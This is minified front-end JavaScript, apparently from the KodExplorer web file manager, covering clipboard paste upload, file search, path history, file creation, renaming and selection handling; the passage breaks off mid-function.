a=date("20yymd-his")+".png";$.ajax({type:"POST",dataType:"json",url:e()+"&base64Upload=1&upload_to="+urlEncode(G.thisPath)+"&name="+a,data:{file:t},beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(e)}})};$(window).on("paste",t)};return l(),{copy:t,cute:a,past:i,cuteDrag:n,copyDrag:o,clipboard:r}}),define("app/path/search",[],function(e){var t=e("./tpl/search.html"),a=e("./tpl/searchList.html");return function(e,i){i||(i=G.thisPath);var n,o,s=function(){var a=trim(core.pathClear(i),"/");if(0==a.indexOf(G.KOD_USER_SHARE)&&-1==a.indexOf("/")||a==G.KOD_USER_FAV||a==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",c);var s=template.compile(t);0==$(".dialog-do-search").length?(n=$.dialog({id:"dialog-do-search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:460,height:480,content:s({LNG:LNG})}),o=p(),o.path=i,""!=e&&(o.search=e),$("#search-path").val(o.path),$("#search-value").val(o.search),d()):($.dialog.list["dialog-do-search"].display(!0),e&&$("#search-value").val(e),$("#search-path").val(i),l())},r=function(){return o={search:$("#search-value").val(),path:$("#search-path").val(),is_content:Number($("#search-is-content").is(":checked")),is_case:Number($("#search-is-case").is(":checked")),ext:$("#search-ext").val()}},l=function(){r(),f(o)},c=function(e){var t=htmlEncode($("#search-value").val());if(e=htmlEncode(e),o.is_case)e=e.replace(t,''+t+"");else{var a=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,a)+''+e.substr(a,t.length)+""+e.substr(a+t.length)}return e},d=function(){$("#search-value").die("keyup").live("keyup",function(){core.isApp("editor")||ui.path.setSearchByStr($(this).val())}),$("#search-value,#search-ext,#search-path").keyEnter(l),$(".search-header .btn").die("click").live("click",l),$(".search-result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search-result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),a=pathHashDecode(t.attr("data-path")),i=core.pathFather(a);return core.openPath(i),setTimeout(function(){core.isApp("explorer")&&ui.path.setSelectByFilename(a)},200),stopPP(e),!1}),$(".search-result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),a=pathHashDecode(t.attr("data-path"));return kodApp.setLastOpenTarget(t),kodApp.open(a,t.attr("data-ext")),stopPP(e),!1}),$(".search-result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),a=pathHashDecode(t.attr("data-path"));$(".search-result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var i=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search-value").val(),line:i,lineIndex:$(this).parent().find("[data-line="+i+"]").index($(this).find(".line"))}),kodApp.open(a,t.attr("data-ext"),"aceEditor"),stopPP(e),!1}),$(".search-header input[type=checkbox]").on("click",function(){r(),p(o)})},p=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search-value").val(e.search).textSelect(),e.is_content?$("#search-is-content").attr("checked","checked"):$("#search-is-content").removeAttr("checked"),e.is_case?$("#search-is-case").attr("checked","checked"):$("#search-is-case").removeAttr("checked"),$("#search-ext").val(e.ext),e}return LocalData.setConfig(t,e)},u=function(e){var t=$(".file-items"),i=$(".search-desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.fileList.length&&0==e.data.folderList.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(a);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),o.is_content){for(var s=e.data.fileList,r=0,l=0;s.length>l;l++)s[l].searchInfo&&(r+=s[l].searchInfo.length);i.html(LNG.search_result+": "+r+"(in "+s.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.fileList.length+" "+LNG.file+", "+e.data.folderList.length+LNG.folder+".")},f=function(e){p(e),$("#search-value").textFocus();var t=$(".file-items"),a=$(".search-desc");if(!e.search||!e.path)return a.html(LNG.search_info),t.html(""),void 0;var i=G.appHost+"explorer/search";G.sharePage!==void 0&&(i=G.appHost+"share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:i,dataType:"json",type:"POST",data:e,beforeSend:function(){a.hide().html(LNG.searching+'').fadeIn(100)},error:function(e,t,i){core.ajaxError(e,t,i),a.html(LNG.error)},success:function(e){u(e)}})};s()}}),define("app/path/tpl/search.html",[],"\n\n"),define("app/path/tpl/searchList.html",[],'\n{{each data.folderList v i}}\n
        • \n
          \n \n {{\'folder\' |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
          \n
        • \n{{/each}}\n\n\n{{each data.fileList v i}}\n {{if v.searchInfo}}\n
        • \n
          \n \n {{v.ext |kod.core.icon}}\n \n {{v.name | kod.window.htmlEncode}}\n \n {{v.searchInfo.length}}\n \n
          \n
            \n {{each v.searchInfo value index}}\n
          • \n {{value.line}}:\n {{@value.str | searchResultPrase}}\n
          • \n {{/each}}\n
          \n
        • \n {{else}}\n
        • \n
          \n \n {{v.ext |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
          \n
        • \n {{/if}}\n{{/each}}\n\n'),define("app/path/path",["./pathOperate","./clipboard","./search"],function(e){var t=e("./pathOperate"),a=e("./clipboard"),i=e("./search"),n=void 0,o=function(){if(_.get(G,"jsonData.info.pathType")==G.KOD_USER_RECYCLE||_.get(G,"jsonData.info.pathType")==G.KOD_USER_SHARE)return!0;if(ui.fileLight){var e=ui.fileLight.fileListSelect();if(e.hasClass("systemBox"))return Tips.tips(LNG.path_can_not_action,"warning"),!1}return!0},s=function(e,t,a,i){if(e){if(!core.isApp("explorer"))return core.explorer(e),void 0;if(e==G.thisPath)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;G.thisPath=e.replace(/\\/g,"/"),G.thisPath=e.replace(/\/+/g,"/"),"/"!=G.thisPath.substr(G.thisPath.length-1)&&(G.thisPath+="/");var n=$(".dialog-file-upload");if(n.length>0){var o="none"==n.css("display")||"hidden"==n.css("visibility");o||core.upload()}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.thisPath)),core.playSound("folder_open"),i||ui.path.history.add(G.thisPath),"split"==G.userConfig.listType){var s=$(".split-box .file[data-path="+pathHashEncode(G.thisPath)+"]"); -if(0!=s.length&&0!=s.find(".children-more-cert").length)return s.click(),void 0;$(".file-list-split .split-box").remove()}ui.f5Callback(function(){"function"==typeof a&&a()})}},r=function(){var e=[],t=60,a=0,i=function(i){var n=e.length-1;return n==a&&e[n]==i?r():(a!=n&&(e=e.slice(0,a+1)),e[e.length-1]!=i&&e.push(i),e.length>=t&&(e=e.slice(1)),a=e.length-1,r(),void 0)},n=function(){e.length-1>=a+1&&(s(e[++a],"","",!0),r())},o=function(){a-1>=0&&(s(e[--a],"","",!0),r())},r=function(){var t="disable",i=e.length-1;$("#btn-history-next").addClass(t),$("#btn-history-back").addClass(t),(0!=a||0!=i)&&(a>0&&i>=a&&$("#btn-history-back").removeClass(t),a>=0&&a!=i&&$("#btn-history-next").removeClass(t))};return{add:i,back:o,next:n,list:function(){return e}}}(),l=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var t=0;e.length>t;t++)e[t]=trim(e[t],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var t=trim(ui.fileLight.path($(this)),"/");t&&-1!=$.inArray(t,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},c=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==n||G.thisPath!=n.path||e!=n.key){var t=[];ui.fileLight.fileListAll().each(function(){var a=ui.fileLight.name($(this)),i=ui.fileLight.path($(this));a&&e==a.substring(0,e.length).toLowerCase()&&t.push(i)}),n={key:e,path:G.thisPath,index:0,list:t}}0!=n.list.length&&(Tips.pop(n.key),l(n.list[n.index++]),n.index==n.list.length&&(n.index=0))}},d=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(t){var a=ui.fileLight.name($(this));-1!=a.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(t).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},p=function(e,t){var a=G.thisPath+e;return void 0==t&&(a+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(a)+'"]').length?!0:!1},u=function(e,t){var a,i=0,n="."+t;if((void 0==t||""==t)&&(n=""),!p(e+n,t))return e+n;for(a=e+"(0)"+n;p(a,t);)i++,a=e+"("+i+")"+n;return a},f=function(e,t){var a,i=0,n=G.jsonData.folderList,o=G.jsonData.fileList,s=n,r=G.userConfig.listSortField,l=G.userConfig.listSortOrder,c={name:e,size:0,ext:t,mtime:date("Y/m/d H:i:s",time())};for(core.isApp("desktop")&&(i+=$(".menu-default").length+1),"file"==t?(c.ext=core.pathExt(e),s=o,"up"==l&&(i+=n.length)):"down"==l&&(i+=o.length),a=0;s.length>a;a++)if("down"==l){if(-1==pathTools.strSort(s[a][r],c[r]))break}else if(-1!=pathTools.strSort(s[a][r],c[r]))break;return a+i-1},h=function(a,i,n){ui.fileLight.clear();var o=f(i,a),s=$(Config.FileBoxSelector);"split"==G.userConfig.listType&&(s=$(".split-box.split-select").find(".content"));var r=e("./tpl/file/create.html"),l=template.compile(r),c=l({type:a,newname:i,ext:n,listType:G.userConfig.listType});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var d=s.children(".file:eq("+o+")");0==d.length&&(d=s.children(".file").last()),"list"==G.userConfig.listType?d.next().hasClass("children-list")&&(d=d.next()):"split"==G.userConfig.listType&&(d=$(".split-box.split-select .file").last()),$(c).insertAfter(d)}var u=$(".textarea .newfile"),h=i.length;"folder"!=a&&-1!=i.indexOf(".")&&(h=i.length-n.length-1),u.textSelect(0,h),"split"==G.userConfig.listType&&u.css("width",u.parents(".filename").width()-40),"icon"==G.userConfig.listType?($("#makefile").css({height:$("#makefile").width()+15,transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),core.isApp("desktop")&&ui.resetDesktopIcon();var m=function(e){e===!1?$("#makefile").remove():v(e)},g=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(p(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var i=G.thisPath;"split"==G.userConfig.listType&&(i=ui.fileLight.path($(".file-icon-edit").parents(".split-box"))),"folder"==a?t.newFolder(i+e,m):t.newFile(i+e,m)}};ui.fileLight.setInView($(".file-continer .file-icon-edit")),u.focus().autoTextarea(),u.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),g(u.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){g(u.attr("value"))})},m=function(){var e="",a=ui.fileLight.fileListSelect(),i=ui.fileLight.name(a),n=core.pathFather(ui.fileLight.path(a)),s=ui.fileLight.type(a);if(1==a.length&&o()){if(a.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(i,".oexe")),l="";"icon"==G.userConfig.listType&&(l="",a.css({height:a.height()})),$(a).addClass("file-icon-edit").find(".title").html("
          "+l+"
          ");var c=$("#pathRenameTextarea");"split"==G.userConfig.listType&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=i.length;"folder"!=s&&-1!=i.indexOf(".")&&(d=i.length-s.length-1),s||0!=i.indexOf(".")?c.textSelect(0,d):c.textSelect(0,i.length);var p=function(o){if("oexe"==s&&(o+=".oexe"),o!=i)e=n+i,o=n+o,t.rname(e,o,function(e){e===!1?$(a).removeClass("file-icon-edit").find(".title").html(htmlEncode(i)):v(e)});else{var r=i;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(a).removeClass("file-icon-edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(i=i.replace(".oexe","")),$(a).removeClass("file-icon-edit").find(".title").html(i))}).unbind("blur").blur(function(){p(c.val())})}},v=function(e){ui.fileLight.clear(),ui.f5Callback(function(){l(e),core.isApp("explorer")&&ui.tree.checkIfChange(G.thisPath)})},g=function(e){var t={},a=[];e.sort(function(e,t){return e.path==t.path?0:e.path>t.path?1:-1});for(var i=function(e){for(var a=e;""!=e;){if(t[e]!==void 0)return 1==t[e]?!0:a==e?(t[e]=1,!1):!0;e=core.pathFather(e)}return!1},n=0;e.length>n;n++)if("folder"==e[n].type){var o=rtrim(e[n].path,"/")+"/";t[o]||i(o)||(t[o]=0)}for(var n=0;e.length>n;n++){var o=e[n].path;"folder"==e[n].type?o=rtrim(o,"/")+"/":e[n].type="file",i(o)||a.push(e[n])}return a},b=function(e){var t=[];return ShareData.data("FILE_SELECT_ARRAY")?(t=ShareData.data("FILE_SELECT_ARRAY"),ShareData.remove("FILE_SELECT_ARRAY")):ui.fileLight.fileListSelect().each(function(){t.push({path:ui.fileLight.path($(this)),type:ui.fileLight.type($(this))})}),e?g(t):1!=t.length?{path:"",type:""}:t[0]},y=function(e,t){for(var a in G.jsonData)if("fileList"==a||"folderList"==a)for(var i=0;G.jsonData[a].length>i;i++)if(G.jsonData[a][i][e]==t)return G.jsonData[a][i]};return{search:i,makeParam:b,refreshCallback:v,history:r,getJsondataCell:y,checkSystemPath:o,pathOperate:t,appList:function(){t.appList(b().path)},appInstall:function(){t.appInstall(b().path)},openWindow:function(){var e=b();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(kodApp.openWindow(e.path),void 0)},open:function(e){var t=ui.fileLight.fileListSelect();if(void 0!=e||core.isApp("editor"))return kodApp.setLastOpenTarget($(".curSelectedNode").parent()),kodApp.open(e),void 0;if(0!=t.length){var a=b();if(0!=$(t).find(".file-not-exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("split"!=G.userConfig.listType||"folder"!=a.type){if("oexe"==a.type){var i=t.attr("data-app");if(i){var n=jsonDecode(base64Decode(i));return core.openApp(n),void 0}}kodApp.setLastOpenTarget(t),kodApp.open(a.path,a.type)}}},share:function(){t.share(b())},setBackground:function(){var e=core.path2url(b().path);ShareData.frameTop("",function(t){t.ui.setWall(e)}),ui.setWall(e),t.setBackground(e)},createLink:function(e){var a=b(),i=ui.fileLight.fileListSelect().last();a.name=trim(i.find(".filename").text()),t.createLink(a.path,a.name,a.type,e,v)},createProject:function(){t.createProject(b().path,v)},download:function(){var e=b(!0),a=!1;$.each(e,function(){"folder"==this.type&&(a=!0)}),a||e.length>1?t.zipDownload(e):$.each(e,function(){kodApp.download(this.path)})},shareEdit:function(){var e=y("path",b().path);try{var a=G.jsonData.shareList[e.sid];t.shareBox(a)}catch(i){}},shareOpenWindow:function(){var e=y("path",b().path),t="file";"folder"==e.type&&(t=1==e.codeRead?"codeRead":"folder");var a=G.appHost+"share/"+t+"&user="+G.jsonData.info.id+"&sid="+e.sid;window.open(a)},shareOpenPath:function(){var e=b(),t=y("path",e.path);if(!t||!G.jsonData.shareList)return kodApp.open(e.path,e.type),void 0;var a=G.jsonData.shareList[t.sid],i=core.pathFather(a.path),n=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(i,"",function(){l(n)})},explorer:function(){core.explorer(b().path)},explorerNew:function(){window.open(G.appHost+"explorer&path="+b().path)},openProject:function(){core.explorerCode(b().path)},search:function(e,t){return e?(i(e,t),void 0):(i("",b().path),void 0)},fav:function(){var e=b(),a=ui.fileLight.fileListSelect().last();e.name=trim(a.find(".filename").text()),t.fav(e)},recycleClear:function(){t.remove([{type:"recycle-clear",path:""}],function(){ui.f5()})},remove:function(e,a,i){if(G.jsonData.info&&o()){var n=b(!0);G.jsonData.info&&G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id==G.userID&&-1==trim(G.thisPath,"/").indexOf("/")&&$.each(n,function(e){var t=y("path",n[e].path);void 0!=t&&(n[e].type="share",n[e].path=t.sid)}),i?t.remove(n,i,e,a):t.remove(n,v,e,a)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(a){var i=trim($(this).text());a!=e.length-1?t.favRemove(i,"",!0):t.favRemove(i,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},clipboard:function(){a.clipboard()},copy:function(){o()&&a.copy(b(!0))},cute:function(){o()&&a.cute(b(!0),ui.f5)},cuteDrag:function(e){a.cuteDrag(b(!0),e,v)},copyDrag:function(e,t){a.copyDrag(b(!0),e,v,t)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){a.copyDrag(b(!0),e,v,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){a.cuteDrag(b(!0),e,v)})},past:function(){var e=G.thisPath;"split"==G.userConfig.listType&&($containBox=$(".split-box.split-select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),a.past(e,v)},info:function(){t.info(b(!0))},newFile:function(e){void 0==e&&(e="txt"),h("file",u("newfile",e),e)},newFolder:function(){h("folder",u(LNG.newfolder),"")},shareFile:function(){var e=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+urlEncode(b().path);window.open(e)},rname:m,list:s,setSearchByStr:d,setSelectByChar:c,setSelectByFilename:l}}),define("app/path/tpl/file/create.html",[],"
          \n {{if listType=='list'}}{{/if}}\n
          \n \n {{if type=='folder'}}\n
          {{\"folder\" | kod.core.icon}}
          \n {{else}}\n
          {{ext | kod.core.icon}}
          \n {{/if}}\n
          \n {{if listType=='icon'}}\n \n {{else}}\n \n {{/if}}\n
          \n
          \n
          \n
          \n
          \n"),define("app/src/explorer/fileLight",[],function(){var e=$(),t=$(),a=function(){var e;e="split"!=G.userConfig.listType?$(".bodymain .file-continer .file"):$(".bodymain .file-continer .split-select .file"),t=e,f("clear"),Hook.trigger("explorer.fileSelect.init",this)},i=function(){var t=$(Config.SelectClass);e=t,t.length>1&&c(t),f("menu-file"),Hook.trigger("explorer.fileSelect.change",this)},n=function(){if(G.jsonData&&G.jsonData.fileList){var e=G.jsonData.fileList.length+G.jsonData.folderList.length;$(".file-select-info .item-num").html(e+LNG.folder_info_item)}},o=function(){var t="",a=0,i=e;0!=i.length&&(t=i.length+LNG.folder_info_item_select,i.each(function(){a+=parseInt($(this).attr("data-size"))}),0!=a&&(t=t+" ("+pathTools.fileSize(a)+")")),$(".file-select-info .item-select").html(t)},s=function(t){var a=e;if(void 0==t&&a&&a.length>=1&&(t=$(a[a.length-1])),void 0!=t&&!t.inScreen()){var i=$(".bodymain");"split"==G.userConfig.listType&&(i=t.parent());var n=t.offset().top-i.offset().top-i.height()/2+i.scrollTop();i.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(h(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.jsonData.info)switch(G.jsonData.info.pathType){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menu-fav-path").addClass("menu-fav-path-more"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.thisPath,"/").search("/"))return e.removeClass("menu-share-path").addClass("menu-share-path-more"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menu-group-root").addClass("menu-group-root-more"),void 0;default:}e.removeClass("menu-file menu-folder").addClass("menu-more"),f()},d=function(e){var t={"file-box":"menu-file","folder-box":"menu-folder","menu-recycle-path":"menu-recycle-path","menu-share-path-more":"menu-share-path","menu-fav-path-more":"menu-fav-path","menu-group-root-more":"menu-group-root","menu-default":"menu-default"};e.removeClass("menu-more");for(var a in t)e.hasClass(a)&&e.addClass(t[a]);f()},p=function(){var t=[];if(0!=e.length)return e.each(function(){t.push(h($(this)))}),t},u=function(){if(0!=e.length){var t=e;t.removeClass(Config.SelectClassName),t.each(function(){d($(this))}),e=$(),f(),Hook.trigger("explorer.fileSelect.change",this)}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled")):$(".drop-menu-action li").removeClass("disabled")},h=function(e,t){return void 0==t&&(t="data-path"),void 0!=e.attr("data-path-children")&&(t="data-path-children"),pathHashDecode(e.attr(t))};return{init:a,name:r,path:h,type:l,fileListSelect:function(t){return t&&(e=t),e},fileListAll:function(e){return e&&(t=e),t},select:i,setInView:s,listNumberSet:n,selectNumSet:o,setMenu:c,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e,t=!1,a=!1,i=!1,n=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(e){var t=$(e.target);t.hasClass("item-menu")||t.parent().hasClass("item-menu")||t.hasClass("item-select")||t.parent().hasClass("item-select")||t.parents(".children-more").exists()||($(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select()))}),$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){a&&r(!0,$(this)),t||a||$(this).addClass(Config.HoverClassName),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),$.contextMenu.hidden(),$(e.target).parents(".children-more").exists())return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if($(e.target).hasClass("item-menu")||$(e.target).parent().hasClass("item-menu"))return $(this).hasClass(Config.SelectClassName)?void 0:(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0);if(!$(e.target).hasClass("item-select")&&!$(e.target).parent().hasClass("item-select")){if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?i=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var t=k.fileListAll($(this)),a=k.fileListSelect($(this)),n=t.index($(this));if(0==a.length)T(0,n,t);else{var o=t.index(a.first()),s=t.index(a.last());o>n?T(n,s,t):n>s?T(o,n,t):T(o,n,t)}}return!0}}).unbind("mouseup").bind("mouseup",function(){return $(".file-select-drag-temp").removeClass("file-select-drag-temp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),a&&r(!1,$(this))}).die("click").live("click",function(e){if(stopPP(e),a)return!1;if($(e.target).hasClass("item-menu")||$(e.target).parent().hasClass("item-menu")){var t=$(this).find(".item-menu");return $(this).contextMenu({x:t.offset().left+t.width(),y:t.offset().top}),!0}return $(e.target).hasClass("item-select")||$(e.target).parent().hasClass("item-select")?($(this).toggleClass(Config.SelectClassName),ui.fileLight.select(),!0):0!=$(this).find(".textarea").length?!0:0!=$(".file-draging-box").length?!0:(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&i&&(i=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),u($(this))),void 0)}),$(Config.FileBoxClass).myDbclick(function(e){var t=$(e.target);if(t.is("textarea")||t.is("input")||t.hasClass("children-more")||t.hasClass("children-more-cert")||t.hasClass("item-menu")||t.parent().hasClass("item-menu")||t.hasClass("item-select")||t.parent().hasClass("item-select"))return!0;if(t.hasClass("db-click-rename")){var a=t.parents(".file");return a.hasClass("systemBox"),ui.path.rname(),!0}if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return!0;if("split"==G.userConfig.listType&&p($(this))){var i=ui.fileLight.path($(this));return G.thisPath="",$(".file-list-split .split-box").remove(),ui.path.list(i),!0}ui.path.open()}}),l(),c(),d()},o=1e3,s=function(e){$(".file-select-drag-temp").flash(2,100),setTimeout(function(){if("list"==G.userConfig.listType){if($(".file-select-drag-temp .children-more-cert").hasClass("cert-open"))return;ui.fileContent.pathChildrenTree(e)}else if("split"==G.userConfig.listType)u(e);else if("icon"==G.userConfig.listType){var t=ui.fileLight.path(e);ui.path.list(t)}},300)},r=function(t,a){var i="file-select-drag-temp";t?!a.hasClass(Config.TypeFolderClass)&&!a.hasClass("menu-recycle-button")||a.hasClass(Config.SelectClassName)||($("."+i).removeClass(i),a.addClass(i),$(".children-list-dropover").removeClass("children-list-dropover"),$(".file-select-over-temp").removeClass("file-select-over-temp"),e=setTimeout(function(){s(a)},o)):(a.removeClass(i),clearTimeout(e),e=!1)},l=function(){var e;$("#folder-list-tree a").die("mouseenter").live("mouseenter",function(){if(a){($(this).hasClass("menu-tree-folder")||$(this).hasClass("menu-tree-folder-fav"))&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),i=t.getNodeByTId($(this).parent().attr("id"));!i.open&&i.isParent&&(e=setTimeout(function(){t.expandNode(i,!0)},o))}}).die("mouseup").live("mouseup",function(){if(a){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),i=t.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){i.isParent=!0,t.reAsyncChildNodes(i,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){a&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},c=function(){var e;$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){a&&($(this).addClass("curDropToPath"),e=setTimeout(function(){var e=$(".curDropToPath");e.flash(2,100),setTimeout(function(){ui.path.list(e.attr("data-path"))},300)},o))}).die("mouseup mouseleave").live("mouseup mouseleave",function(){a&&($(this).removeClass("curDropToPath"),clearTimeout(e),e=!1)})},d=function(){var e=function(e,t){if(a&&"list"==G.userConfig.listType){$(".file-select-over-temp").removeClass("file-select-over-temp");var i="children-list-dropover";if(t){if($(".file-select-drag-temp").exists())return $("."+i).removeClass(i),void 0;$("."+i).not(e).removeClass(i),e.addClass(i),e.prev().hasClass("file")&&e.prev().addClass("file-select-over-temp")}else e.removeClass(i)}};$(".menu-body-main").bind("mouseover",function(t){e($(this),!0,t)}).bind("mouseup mouseleave",function(t){e($(this),!1,t)}),$(".children-list").die("mouseover").live("mouseover",function(t){e($(this),!0,t),stopPP(t)}).die("mouseup mouseleave").live("mouseup mouseleave",function(t){e($(this),!1,t)})},p=function(e){return"icon"==G.userConfig.listType?e.hasClass("folder-box")||e.hasClass("menu-recycle-button")?!0:!1:"list"==G.userConfig.listType?e.hasClass("folder-box")||e.hasClass("menu-recycle-button")||0!=e.find(".children-more-cert").length?!0:!1:"split"==G.userConfig.listType?e.hasClass("folder-box")||e.hasClass("menu-recycle-button")||0!=e.find(".children-more-cert").length?!0:!1:void 0},u=function(e){if("split"==G.userConfig.listType&&p(e)){var t=ui.fileLight.path(e);ui.path.history.add(t),ui.fileContent.pathChildrenSplit(t,function(){h(t)})}},f=function(){var e=".file-list-split .split-box",t="split-hover";$(e).live("mouseenter",function(){$(e).removeClass(t),$(this).addClass(t)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(t)}).die("click").live("click",function(){h(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var t=$(e.target).parents(".file");(0==t.length||0==t.find(".children-open").length)&&h(ui.fileLight.path($(this)))})},h=function(e){var t=$(".file-list-split .split-box"),a=$('.file-list-split .split-box[data-path="'+pathHashEncode(e)+'"]'),i=$('.file-list-split .split-box .file[data-path="'+pathHashEncode(e)+'"]'),n="split-select";0==a.length&&(a=t.last()),t.removeClass(n),a.addClass(n),0==ui.fileLight.fileListSelect().length&&i.addClass("select"),ui.fileLight.select();var o=a.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.thisPath=e,G.jsonData=o,ui.headerAddress.addressSet()),ui.fileLight.init()},m=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},v=function(e){$("body").removeClass("cursor-mouse cursor-warning cursor-move cursor-down cursor-add"),e&&$("body").addClass("cursor-mouse cursor-"+e)},g=function(){var i,n,o,s=150,r=!1,l=!1,c=0,d=!1,p=-15,u=10,f=0,h=0,g="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(e){if(!e.shiftKey){if(ui.isEdit())return!0;if(1!=e.which||t)return!0;i=$(this),k(e),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){x(e)}),$(document).keydown(function(e){x(e)}),$(document).keyup(function(e){x(e)}),$(document).one("mouseup",function(e){L(e),this.releaseCapture&&this.releaseCapture()}),$(document).one("keyup",function(e){27==e.which&&L(!1)})}});var b,y,k=function(e){$.contextMenu.hidden(),a=!0,c=$.now(),f=e.pageY,h=e.pageX,n=$(document).height(),o=$(document).width(),l=$(e.target).parents(".file")},x=function(e){if(!a)return!0;if(!m(i))return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-c>s&&!d&&(N(),r=$(".draggable-dragging"),r.attr("data-beforeInfo",r.find("span").html())),d){var t=e.clientX>=o-50?o-50:e.clientX,l=e.clientY>=n-50?n-50:e.clientY;return 